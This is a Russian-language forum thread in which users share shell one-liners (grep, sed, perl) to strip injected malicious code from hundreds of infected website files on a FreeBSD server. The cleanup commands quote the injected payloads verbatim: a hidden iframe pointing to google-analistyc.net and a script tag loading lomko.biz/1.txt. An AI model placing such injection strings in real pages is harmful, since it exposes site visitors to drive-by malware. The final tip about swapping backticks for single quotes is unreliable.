Как почистить вирусную строку?

Статус
В этой теме нельзя размещать новые ответы.
Если штук 500 можно идти в таком направлении:

grep -R -l ‘ЧТО ИЩЕМ‘ . | sort | uniq | xargs perl -pi~ -e ’s/ЧТО ИЩЕМ/НА ЧТО МЕНЯЕМ/’

только 2 вопроса:
- обязательно сделать бэкап
- в ПЕРЛовой команде разделение / - у тебя там пути надо посмотреть как в перловом синтаксисе писать / в стринге - возможно вот так: \/
 
Запускаю и ничего на экране не происходит. Просто висит и все.

Странно почему у тебя не работает, я так с полгода назад у себя чистил.


Вот еще пример, под себя поменяй и попробуй

grep -R google-analistyc.net . | awk '{print $1}' | cut -d ":" -f 1 | xargs -n1 sed -i '' 's|<\!-- ~ --><iframe src=\"http:\/\/google-analistyc.net\/in.cgi?12\" width=\"0\" height=\"0\" style=\"display:none\"><\/iframe><\!-- ~ -->||g'
 
Странно почему у тебя не работает, я так с полгода назад у себя чистил.


#!/bin/sh

for f in `find . -type f -exec egrep -q lomko.biz {} \; -print`; do
echo $f
sed -i "" -e "s|<script src=http://lomko.biz/1.txt></script>||g" $f
done
Когда выполняется чистка с помощью первого примера в окне ничего не происходит, но чистка идет?

Запускаю и пишет: ./fix.sh: Command not found.
Либо так:
%./fix.sh
и тут зеленый курсор и все.

В течении 2-4 минут заражено 400 файлов. Значит как-то можно и очистить с такой скоростью?
 
Ты его исполняемым сделал? Какая OS на сервере?
Система FreeBSD
Как только делаю исполняемым, так сразу данная ошибка.
Когда производится чистка, в окне putty показывает?
 
Я с FreeBSD не знаком поэтому не знаю будет ли работать данный код там. Я чистил на CentOS

Попробуй еще (тут криво апострафы стали)
Код:
`find . -type f -exec egrep -q lomko.biz {} \; -print`

заменить на

Код:
'find . -type f -exec egrep -q lomko.biz {} \; -print'
 
Статус
В этой теме нельзя размещать новые ответы.
Назад
Сверху